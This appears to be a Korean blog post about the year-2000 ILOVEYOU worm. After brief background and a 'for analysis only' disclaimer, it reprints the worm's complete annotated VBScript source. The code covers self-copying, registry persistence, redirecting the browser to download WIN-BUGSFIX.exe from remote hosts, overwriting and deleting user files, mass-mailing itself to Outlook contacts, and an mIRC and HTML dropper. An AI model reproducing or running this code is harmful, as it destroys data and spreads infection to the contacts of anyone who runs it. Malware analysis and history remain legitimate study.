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2000년대를 강타했던 악명높은 악성 코드가 vbs로 만들어졌다.
개발자는 중소기업 컴퓨터 프로그램을 만들어 팔거나, 대학교 학생들의 논문을 대행해주는 동호회 회원이 만들었다고 한다.
바이러스를 만든 이유는 그저 졸업논문이 인정받지 못해서라고 한다. (아래 참고)
https://namu.wiki/w/%EB%9F%AC%EB%B8%8C%20%EB%B0%94%EC%9D%B4%EB%9F%AC%EC%8A%A4
러브 바이러스 - 나무위키
[접기/펼치기]dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll main() sub main() On Error Resume Next di
namu.wiki
당시 이메일을 이용해 Love Letter로 보내고, 저 아이콘을 실행시키면 .vbs파일이 작동되며, 중요한 확장자를 가진 파일들을 강제로 변경시켜서 사용할 수 없게 만들어 버린다. (아래 영상 참고)
https://www.youtube.com/watch?v=ZqkFfF5kAvw (악성코드에 당하는 테스트 영상)
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※ 악용 금지. 코드 분석용으로 사용. 코드 사용에 대한 책임은 전적으로 본인에게 있음! ※
vbs 코드
(출처 : https://github.com/onx/ILOVEYOU/blob/master/LOVE-LETTER-FOR-YOU.TXT.vbs )
=>
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
rem Setup global variables to be used throughout subroutines and functions.
Dim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, dow
eq = ""
ctr = 0
rem Open the current script file and define "vbscopy" which can be used to
rem read its own contents. Used to replicate itself in other files.
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main()
rem Subroutine to initalize the program
Sub main()
On Error Resume Next
Dim wscr, rr
rem Creates a shell which will be used to read the registry.
Set wscr = CreateObject("WScript.Shell")
rem Gets a registry key which indicates the scripting time-out from Windows.
rr = wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
rem Checks if the current timeout is more than 0.
If (rr >= 1) Then
rem Sets the timeout to 0, effectively making it so that the script won't
rem time out, incase the system happens to be too slow to execute it.
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout", 0, "REG_DWORD"
End If
rem Finds special folders, such as system, temporary and windows folders.
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
rem Call the other subroutines.
regruns()
html()
spreadtoemail()
listadriv()
End Sub
rem Subroutine to create and update special registry values.
Sub regruns()
On Error Resume Next
Dim num, downread
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
rem Get internet Explorer's download directory.
downread = ""
downread = regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
rem If the directory wasn't found, then use C:\ drive as the download directory.
If (downread = "") Then
downread = "c:\"
End If
rem Check if a file named "WinFAT32.exe" exists in the system files.
If (fileexist(dirsystem & "\WinFAT32.exe") = 1) Then
Randomize
rem Generate a random number from 1 to 4.
num = Int((4 * Rnd) + 1)
rem Randomly update the Internet Explorer's start page that leads to a
rem page that will download a malicious executable "WIN-BUGSFIX.exe".
If num = 1 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\StartPage", "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
End If
End If
rem Check if the "WIN-BUGSFIX.exe" file exists in the download directory.
If (fileexist(downread & "\WIN-BUGSFIX.exe") = 0) Then
rem Add WIN-BUGSFIX.exe to run on startup
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", downread & "\WIN-BUGSFIX.exe"
rem Update Internet Explorer's start page to "about:blank"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\StartPage", "about:blank"
End If
End Sub
rem Subroutine to list folders in drives.
Sub listadriv()
On Error Resume Next
Dim d, dc, s
Set dc = fso.Drives
For Each d In dc
If (d.DriveType = 2) Or (d.DriveType = 3) Then
folderlist(d.path & "\")
End If
Next
listadriv = s
End Sub
rem Subroutine infect other files, by copying itself into them as well
rem as creating a malicious mIRC script.
Sub infectfiles(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, bname, mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.path)
ext = lcase(ext)
s = lcase(f1.name)
rem Copies itself into every file with vbs/vbe extension.
If (ext = "vbs") Or (ext = "vbe") Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
rem Copies itself into every file with js/jse/css/wsh/sct/hta extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "js")
Or (ext = "jse")
Or (ext = "css")
Or (ext = "wsh")
Or (ext = "sct")
Or (ext = "hta")
Then
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
bname = fso.GetBaseName(f1.path)
Set cop = fso.GetFile(f1.path)
cop.copy(folderspec & "\" & bname & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with jpg/jpeg extension
rem and creates a copy of the file with the .vbs extension.
ElseIf (ext = "jpg") Or (ext = "jpeg") Then
rem Copies itself
Set ap = fso.OpenTextFile(f1.path, 2, true)
ap.write vbscopy
ap.close
Set cop = fso.GetFile(f1.path)
cop.copy(f1.path & ".vbs")
fso.DeleteFile(f1.path)
rem Copies itself into every file with mp3/mp2 extension.
ElseIf (ext = "mp3") Or (ext = "mp2") Then
Set mp3 = fso.CreateTextFile(f1.path & ".vbs")
mp3.write vbscopy
mp3.close
Set att = fso.GetFile(f1.path)
rem Sets file attributes to make the file Hidden.
rem Normal files have the attribute set to 0 so adding 2 to it,
rem will set the attributes to Hidden.
att.attributes = att.attributes + 2
End If
rem Checks if the folder has already been infected, if not it will continue
rem to infect the files.
If (eq <> folderspec) Then
rem Looks for mIRC and related files to determine whether it
rem should create/replace its script.ini with a malicious script.
If (s = "mirc32.exe")
Or (s = "mlink32.exe")
Or (s = "mirc.ini")
Or (s = "script.ini")
Or (s = "mirc.hlp")
Then
Set scriptini = fso.CreateTextFile(folderspec & "\script.ini")
rem The following mIRC script checks if the "nick" of a user is the same
rem as "me" to halt and send a DCC command that will send a message to
rem the user with a link to the LOVE=LETTER-FOR-YOU html page on the
rem system.
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, If mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /If ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick" & dirsystem & "\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq = folderspec
End If
End If
Next
End Sub
rem Subroutine used to get file listing of a folder.
Sub folderlist(folderspec)
On Error Resume Next
Dim f, f1, sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
rem Iterates over each subfolder from the given top-level folder and
rem recursively infect files.
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
rem Subroutine used to create/write registry entries.
Sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
rem Subroutine used to get registry entries.
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget = regedit.RegRead(value)
End Function
rem Function to check if a file exists.
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Function to check if a folder exists.
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
rem Subroutine to send emails to the user's contacts through MAPI
rem (Messaging Application Programming Interface), the API used by Outlook to
rem communicate with the Microsoft Exchange Server which also hosts calendars
rem and address book.
Sub spreadtoemail()
On Error Resume Next
Dim x, a, ctrlists, ctrentries, malead, b, regedit, regv, regad
rem Creates a shell to edit the registry.
Set regedit = CreateObject("WScript.Shell")
rem Creates a new Outlook application object instance, to access the MAPI.
Set out = WScript.CreateObject("Outlook.Application")
rem Gets the MAPI namespace used to access the address book lists.
Set mapi = out.GetNameSpace("MAPI")
rem Goes through all contacts in the address book and sends an email
rem with the LOVE-LETTER-FOR-YOU program as an attachment.
For ctrlists = 1 To mapi.AddressLists.Count
Set a = mapi.AddressLists(ctrlists)
x = 1
rem Gets a registry key that is used to check who has been sent an email,
rem already to ensure that even if there may be duplicate contacts, it will
rem only send the email once to the same address.
regv = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a)
If (regv = "") Then
regv = 1
End If
If (int(a.AddressEntries.Count) > int(regv)) Then
rem Iterates over each entry in the address list.
For ctrentries = 1 To a.AddressEntries.Count
malead = a.AddressEntries(x)
regad = ""
regad = regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead )
rem If the contact hasn't yet been sent an email, a new email will be
rem composed with the virus attached and a "kind" message and the
rem subject "ILOVEYOU".
If (regad = "") Then
Set male = out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf & "kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
rem Sets the registry key to indicate that the email has been sent
rem to the current contact.
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & malead, 1, "REG_DWORD"
End If
x = x + 1
Next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
Else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\" & a, a.AddressEntries.Count
End If
Next
Set out = Nothing
Set mapi = Nothing
End Sub
rem Subroutine to generate and create the HTML file for LOVE-LETTER-FOR-YOU.HTM.
Sub html
On Error Resume Next
Dim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6
rem Generates an HTML page which contains a JScript and VBScript to replicate
rem itself by leveraging ActiveX. It also listens for mouse and key events,
rem which will open additional windows of the same page.
dta1 = "<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"
& vbcrlf & _ "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @GRAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"
& vbcrlf & _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"
& vbcrlf & _ "<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "
& vbcrlf & _ "ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"
& vbcrlf & _ "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"
& vbcrlf & _ "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>"
& vbcrlf & _ "<?-?BODY><?-?HTML>"
& vbcrlf & _ "<SCRIPT language=@-@JScript@-@>"
& vbcrlf & _ "<!--?-??-?"
& vbcrlf & _ "If (window.screen){var wi=screen.availWidth;var hi=screen.availHeight;window.moveTo(0,0);window.resizeTo(wi,hi);}"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
& vbcrlf & _ "<SCRIPT LANGUAGE=@-@VBScript@-@>"
& vbcrlf & _ "<!--"
& vbcrlf & _ "on error resume next"
& vbcrlf & _ "Dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"
& vbcrlf & _ "aw=1"
& vbcrlf & _ "code="
dta2 = "Set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"
& vbcrlf & _ "Set dirsystem=fso.GetSpecialFolder(1)"
& vbcrlf & _ "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"
& vbcrlf & _ "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"
& vbcrlf & _ "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"
& vbcrlf & _ "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"
& vbcrlf & _ "wri.write code4"
& vbcrlf & _ "wri.close"
& vbcrlf & _ "If (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) Then"
& vbcrlf & _ "If (err.number=424) Then"
& vbcrlf & _ "aw=0"
& vbcrlf & _ "End If"
& vbcrlf & _ "If (aw=1) Then"
& vbcrlf & _ "document.write @-@ERROR: can#-#t initialize ActiveX@-@"
& vbcrlf & _ "window.close"
& vbcrlf & _ "End If"
& vbcrlf & _ "End If"
& vbcrlf & _ "Set regedit = CreateObject(@-@WScript.Shell@-@)"
& vbcrlf & _ "regedit.RegWrite@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.vbs@-@"
& vbcrlf & _ "?-??-?-->"
& vbcrlf & _ "<?-?SCRIPT>"
rem Replaces encoded characters from the above document to form a valid
rem document that can be correctly opened and executed in the browser.
dt1 = replace(dta1, chr(35) & chr(45) & chr(35), "'")
dt1 = replace(dt1, chr(64) & chr(45) & chr(64), """")
dt4 = replace(dt1, chr(63) & chr(45) & chr(63), "/")
dt5 = replace(dt4, chr(94) & chr(45) & chr(94), "\")
dt2 = replace(dta2, chr(35) & chr(45) & chr(35), "'")
dt2 = replace(dt2, chr(64) & chr(45) & chr(64), """")
dt3 = replace(dt2, chr(63) & chr(45) & chr(63), "/")
dt6 = replace(dt3, chr(94) & chr(45) & chr(94), "\")
rem Opens a new file system object, which is used to read this specific
rem script file, that will then be injected into the HTM document.
Set fso = CreateObject("Scripting.FileSystemObject")
Set c = fso.OpenTextFile(WScript.ScriptFullName, 1)
lines = Split(c.ReadAll,vbcrlf)
l1 = ubound(lines)
rem Encodes all special characters of the script's HTM, as this script
rem will be injected into the HTM file and executed.
For n = 0 to ubound(lines)
lines(n) = replace(lines(n), "'", chr(91) + chr(45) + chr(91))
lines(n) = replace(lines(n), """", chr(93) + chr(45) + chr(93))
lines(n) = replace(lines(n), "\", chr(37) + chr(45) + chr(37))
If (l1 = n) Then
lines(n) = chr(34) + lines(n) + chr(34)
Else
lines(n) = chr(34) + lines(n) + chr(34) & " & vbcrlf & _"
End If
Next
rem Create the LOVE-LETTER-FOR-YOU.HTM file in the system directory.
Set b = fso.CreateTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM")
b.close
rem Creates the HTM file from everything above.
Set d = fso.OpenTextFile(dirsystem + "\LOVE-LETTER-FOR-YOU.HTM", 2)
d.write dt5
d.write join(lines, vbcrlf)
d.write vbcrlf
d.write dt6
d.close
End Sub
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